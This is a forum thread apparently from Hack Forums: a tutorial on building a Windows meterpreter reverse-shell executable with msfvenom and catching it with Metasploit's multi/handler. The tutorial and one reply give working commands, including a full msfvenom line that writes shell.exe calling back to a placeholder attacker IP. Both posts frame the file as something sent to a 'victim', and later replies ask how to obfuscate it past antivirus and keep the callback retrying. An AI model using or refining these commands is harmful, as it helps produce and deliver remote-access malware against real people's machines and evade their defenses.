

Forum: [Hack Forums](#)

Thread: [\[TUTORIAL\] MSFVENOM PAYLOAD](#)

SIM-4646382 - April 18, 2020, 12:05 am

Msfvenom is a combination of Msfpayload and msfencode, putting both of these tools into a single framework instance. The advantages of msfvenom are:

- .One single tool
- .Standardized command line options
- .Increased speed

Requirements :

1. Metasploit framework
2. Linux Distro

Step by Step :

1. Open your terminal (CTRL + ALT + T) and type msfvenom -h to view the available options for this tools.
2. In this tutorial I want to create an exploit generated by msfvenom with meterpreter payload and I also want to encode it using shikata_ga_nai encoder. To know the available options to set up this exploit, you can use -o options after you set up your payload.
3. Yep there it is, we need to set up the LHOST and LPORT to make this exploit work. My IP address is 127.0.0.1 so I set the LHOST to that IP, and I want to set the LPORT to 443 so I will receive connection from victim on port 443 if the exploit succeed.

Information :

-p windows/meterpreter/reverse_tcp --> I use meterpreter reverse_tcp for the payload

-e x86/shikata_ga_nai --> encoder that I use for this tutorial

-i 5-b '\x00' --> remove the bad chars

4. Run your metasploit console by execute msfconsole on your terminal.

use exploit/multi/handler --> to handle incoming connection

set payload windows/meterpreter/reverse_tcp --> reverse tcp payload

show options --> show available options to set

8. When you send the exploit to victim, and victim execute it, we got this : meterpreter session opened.

Python007 - January 1, 2021, 9:46 pm

Can you PM me about this please

r3dcoat - January 11, 2021, 9:36 am

This is the starter Metasploit exploit. Correct me if I am wrong but won't this only really work on an WinXP target?

pisslord - January 15, 2021, 9:34 pm

so it took me a little bit of time, but I got it to work on my win10 machine after disabling antivirus. The command that I used was:

```
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST="KALI_IP_HERE LPORT=5555  
-e x64/xor -i 5 -b'\x00' -f exe > /home/user/Desktop/shell.exe
```

since I am obviously running 64 bit version of windows, i had to use an x64 exploit along with x64 encoding (i chose xor for simplicity). after this i open up msfconsole, set LPORT and LHOST to the same as it was set in the msfvenom command (kali machine ip and port), set the payload to windows/x64/meterpreter/reverse_tcp and exploit.

thomasreiner - January 16, 2021, 4:24 am

Do I already have to have a listener open in order to catch the shell ?

Also, ideas how to obfuscate ?

pisslord - January 17, 2021, 10:26 pm

(Jan 16, 2021 05:24 AM)thomasreiner Wrote: [\[CITE\]](#) Do I already have to have a listener open in order to catch the shell ?

Also, ideas how to obfuscate ?

you do need to have the listener open to catch the shell from what i have experienced. i tried some different options using the -e encoder arg for obfuscation in msfvenom but the only thing that i got to work was xor since i am doing an x64 exploit (it doesn't bypass windows defender tho). i don't know of other ways to obfuscate the payload at this point. if anyone has any ideas i would love to know as well.

thomasreiner - January 19, 2021, 6:38 am

What about sending the back-shell every 10 seconds until session opens?

Is it possible to configure so that I won't have to worry about having a listener already open ?